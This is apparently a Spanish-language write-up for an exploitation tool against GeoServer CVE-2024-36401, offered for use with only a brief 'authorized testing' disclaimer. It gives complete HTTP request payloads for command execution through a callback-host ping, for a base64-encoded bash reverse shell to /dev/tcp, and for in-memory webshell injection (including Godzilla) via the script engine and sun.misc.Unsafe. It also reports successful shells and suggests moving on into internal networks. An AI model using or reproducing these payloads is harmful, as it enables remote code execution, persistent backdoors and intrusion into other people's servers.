
geoserver CVE-2024-36401 herramienta de explotación de vulnerabilidades
geoserver CVE-2024-36401 Entorno: JDK8 Declaración: solo para pruebas autorizadas. El autor no se hace responsable de las consecuencias derivadas del mal uso por parte de los usuarios. ¡Cumple con las leyes y regulaciones!
1,payload por defecto:
POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 356
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference> </wfs:GetPropertyValue>
Entonces, presta atención aquí: <wfs:Query typeNames='sf:archsites'/>
En este punto, si necesitas obtenerlo mediante expresiones regulares, este es un identificador básico del sitio sf:archsites; primero debes obtener su
wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType> y luego puedes usar el método de concatenación
Al detectar la vulnerabilidad wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>
En este punto, en realidad no es necesario consultar los registros DNS
La lógica simple es comprobar si existe una clase de excepción anómala
Como java.lang.ClassCastException
Por supuesto, esto es solo la lógica de detección
Esta respuesta es 400 por defecto; aquí es fácil caer en una trampa. Debes identificar la página de error y luego buscar los datos
Primero necesitas solicitar un <wfs:ListStoredQueries service='WFS'\n" + " version='2.0.0'\n" + " xmlns:wfs='http://www.opengis.net/wfs/2.0'/>
Esta información representa que puedes obtener su wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType>
Luego asígnalo directamente a un texto y, a continuación, llama a un método de función para concatenar la información extraída del texto en el parámetro <wfs:Query typeNames='sf:archsites'/>
De esta forma, la lógica de detección será relativamente precisa; la clase de detección se escribe así
Si sigues usando únicamente <wfs:Query typeNames='sf:archsites'/>, la probabilidad de falso positivo es muy alta y te indicará que no se encuentra sf:archsites
Categoría de reverse shell
Veamos el payload de reverse shell:
POST /geoserver/wfs HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Cookie: JSESSIONID=5D030E92A0AFCC3B5006597E6524FD8D Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i Content-Type: application/xml Content-Length: 438
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference> </wfs:GetPropertyValue>
Prestamos atención aquí:
<wfs:Query typeNames='sf:archsites'/>
Igualmente, primero se obtiene el valor con expresiones regulares y luego se concatena
Y luego se envía la solicitud directamente
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx aquí es el base64 cifrado
Al escribir, solo hay que convertir el bash -i >& /dev/tcp/127.0.0.1/9999 0>&1 que introduce el usuario a base64
Luego se envía la solicitud y, de la misma forma, solo hay que buscar la clase de excepción clave y aplicar la lógica de detección
Categoría de inyección de WebShell en memoria Este punto POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 20383
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceeval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),' var str=""; var bt; try { bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str); } catch (e) { bt = java.util.Base64.getDecoder().decode(str); } var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); unsafe = theUnsafe.get(null); unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance(); ')</wfs:valueReference> </wfs:GetPropertyValue>
Aquí también está <wfs:Query typeNames='sf:archsites'/>,como siempre, primero se obtiene el valor
En star, coloca el código cifrado base64 de tu WebShell en memoria generado
Y luego basta con aplicar la lógica de detección
Puntos donde es fácil caer en trampas 1、 <wfs:Query typeNames='sf:archsites'/> reutilizado, probabilidad de falso positivo del 98 %, error como el siguiente:
https://geoserver.epic.blue/geoserver/schemas/ows/1.1.0/owsAll.xsd"> <ows:Exception exceptionCode="InvalidParameterValue" locator="typeName"> ows:ExceptionTextCould not locate {http://www.openplans.org/spearfish}archsites in catalog.<
Punto que indica la existencia de la vulnerabilidad: <ows:Exception exceptionCode="NoApplicableCode"> ows:ExceptionTextjava.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader 'bootstrap'; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a) class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader 'bootstrap'; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)</ows:ExceptionText> </ows:Exception>
En resumen, la vulnerabilidad existe cuando aparece java.lang.ClassCastException
Un falso positivo es Could not locate {http://www.openplans.org/spearfish}archsites in catalog
2、Método de detección: Captura la wfs:ReturnFeatureType> de la llamada y asígnala a un texto; el texto llama al método de función; envía la solicitud, concatena en la solicitud y evalúa la excepción de la respuesta
En la invocación del método de función del texto, es necesario asignar el valor previamente para evitar una excepción de puntero nulo; concatena antes de la solicitud y evalúa la excepción de la respuesta, realizando la evaluación dentro de la excepción
Finalmente hemos logrado escribir esta herramienta de explotación

Vamos a probar la vulnerabilidad
Efecto de ejecución de la herramienta


Nota: la ausencia de respuesta es lo mismo que una salida sin vulnerabilidad; si existe la vulnerabilidad, se mostrará el signo +
Si se detecta la vulnerabilidad, haz el reverse shell y realiza una prueba de conexión; si se puede conectar, haz una ronda de pruebas en la red interna
Las optimizaciones pueden incluir la incorporación de WebShell en memoria personalizada, detección por lotes y otras funciones

Se detectó la vulnerabilidad, se obtuvo el endpoint y el reverse shell también tuvo éxito
A continuación, probemos a inyectar la WebShell en memoria

Muestra que la inyección de la WebShell en memoria fue exitosa; vamos a conectarnos para ver si funciona

Es posible conectarse
Nota: al probar la WebShell en memoria, This GeoServer instance is running version 2.15.2. For more information please contact the
La inyección de la WebShell en memoria en esta versión fue exitosa
En versiones superiores puede fallar
El resto, pruébalo por tu cuenta

Se ha añadido la función de WebShell en memoria personalizada

Se han añadido las pruebas de ls y ping
Se ha corregido el problema de inyección de la WebShell en memoria
Se ha añadido la detección de tomcat y jetty
La WebShell en memoria Godzilla se inyecta por defecto en el entorno jetty
La WebShell en memoria personalizada permite elegir el entorno tomcat para las pruebas
La versión por lotes aún no se ha publicado